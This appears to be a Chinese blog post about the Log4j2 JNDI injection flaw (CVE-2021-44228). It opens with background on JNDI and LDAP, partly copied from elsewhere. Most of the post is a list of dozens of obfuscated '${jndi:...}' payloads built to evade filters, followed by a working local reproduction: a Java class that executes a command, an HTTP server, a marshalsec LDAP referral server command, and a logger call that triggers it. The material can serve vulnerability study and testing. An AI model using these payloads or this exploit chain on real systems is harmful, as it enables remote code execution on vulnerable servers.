2021年12月9日晚上,Log4j2 JNDI注入漏洞详情被公开。漏洞发现过程:通过公开的CodeQL规则扫描出来的漏洞。漏洞编号:CVE-2021-44228。影响范围:Apache Log4j 2.x <= 2.15.0-rc1。
1 2 3 4 5 6 7 8 9 10 import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class); public static void main(String[] args) { logger.error("${jndi:ldap://127.0.0.1:1389/a}"); } }
Log4j2会解析${},读取出其中的内容。判断其是否为Ldap实现的JNDI,于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。
JNDI JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。
JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。
JNDI中的一组绑定作为上下文来引用。每个上下文暴露的一组操作是一致的。例如,每个上下文提供了一个查找操作,返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间,即使用分层上下文以及使用相同命名语法的子上下文。(copy自网络)
LDAP LDAP目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。(copy自网络)
Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 ${jndi:ldap://127.0.0.1/poc} ${jndi:rmi://127.0.0.1/poc} ${jndi:dns://127.0.0.1/poc} ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1/poc} ${${::-j}ndi:rmi://127.0.0.1/poc} ${${lower:jndi}:${lower:rmi}://127.0.0.1/poc} ${${lower:${lower:jndi}}:${lower:rmi}://127.0.0.1/poc} ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://127.0.0.1/poc} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://127.0.0.1/poc} ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}}://127.0.0.1/poc} ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1/poc} $%7Bjndi:ldap://127.0.0.1/poc%7D ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}127.0.0.1/poc} ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1/poc} ${jndi:${lower:l}${lower:d}a${lower:p}://127.0.0.1/poc} ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://127.0.0.1/poc} ${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}127.0.0.1/poc} ${jndi:${lower:l}${lower:d}ap://127.0.0.1/poc} ${jndi:ldap://127.0.0.1#127.0.0.1/poc} ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://k123.k123.k123/poc} ${${::-j}ndi:rmi://k123.k123.k123/ass} ${jndi:rmi://k8.k123.k123} ${${lower:jndi}:${lower:rmi}://k8.k123.k123/poc} ${${lower:${lower:jndi}}:${lower:rmi}://k8.k123.k123/poc} ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://k8.k123.k123/poc} j${loWer:Nd}i${uPper::} ${jndi:ldaps://127.0.0.1/poc} ${jndi:iiop://127.0.0.1/poc} ${date:ldap://127.0.0.1/poc} ${java:ldap://127.0.0.1/poc} ${marker:ldap://127.0.0.1/poc} ${ctx:ldap://127.0.0.1/poc} ${lower:ldap://127.0.0.1/poc} ${upper:ldap://127.0.0.1/poc} ${main:ldap://127.0.0.1/poc} ${jvmrunargs:ldap://127.0.0.1/poc} ${sys:ldap://127.0.0.1/poc} ${env:ldap://127.0.0.1/poc} ${log4j:ldap://127.0.0.1/poc} ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:l}d${lower:a}${lower:p}://${hostName}.{{interactsh-url}}} ${jndi:rmi://127.0.0.1}/ ${jnd${123%25ff:-${123%25ff:-i:}}ldap://127.0.0.1/poc} ${jndi:dns://127.0.0.1} ${j${k8s:k5:-ND}i:ldap://127.0.0.1/poc} ${j${k8s:k5:-ND}i:ldap${sd:k5:-:}//127.0.0.1/poc} ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://127.0.0.1/poc} ${j${k8s:k5:-ND}i${sd:k5:-:}ldap${sd:k5:-:}//127.0.0.1/poc} ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap://127.0.0.1/poc} ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap{sd:k5:-:}//127.0.0.1/poc} ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//127.0.0.1/poc} ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//127.0.0.1/poc ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}a${::-p}${sd:k5:-:}//127.0.0.1/poc} ${jndi:${lower:l}${lower:d}a${lower:p}://127.0.0.1} ${jnd${upper:i}:ldap://127.0.0.1/poc} ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://127.0.0.1/poc} ${jndi:ldap://127.0.0.1#127.0.0.1:1389/poc} ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1/poc} ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1/poc} ${${lower:jndi}:${lower:ldap}://127.0.0.1/poc} ${${::-j}ndi:rmi://127.0.0.1/poc} ${${lower:${lower:jndi}}:${lower:ldap}://127.0.0.1/poc} ${${lower:jndi}:${lower:rmi}://127.0.0.1/poc} ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://127.0.0.1/poc} ${${lower:${lower:jndi}}:${lower:rmi}://127.0.0.1/poc} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}d${lower:a}p://127.0.0.1/poc} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://127.0.0.1/poc} ${j${env:DOESNOTEXIST:-}ndi:ldap://127.0.0.1/poc} ${j${env:DOESNOTEXIST:-}ndi:rmi://127.0.0.1/poc} ${${: : : : ::: :: :: : :::-j}ndi:ldap://127.0.0.1/poc} ${${: : : : ::: :: :: : :::-j}ndi:rmi://127.0.0.1/poc} ${${::::::::::::::-j}ndi:ldap://127.0.0.1/poc} ${${::::::::::::::-j}ndi:rmi://127.0.0.1/poc} ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1/poc} (copy自网络)
漏洞复现 创建LDAPRefServer
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class Poc { public Poc() { try{ String[] cmd = {"open", "/System/Applications/Calculator.app"}; Process process = Runtime.getRuntime().exec(cmd); process.waitFor(); }catch (Exception e){ e.printStackTrace(); } } public static void main(String[] args) { Poc poc = new Poc(); } }
1 python3 -m http.server 8200
1 java marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8200/#Poc"
执行
1 2 3 4 5 6 7 8 9 10 11 12 13 package net.uxss.log4j2; import org.apache.logging.log4j.*; public class Log4j2Test { private static final Logger logger = LogManager.getLogger(Log4j2Test.class); public static void main(String[] args) { logger.error("${jndi:ldap://127.0.0.1:1389/Poc}"); } }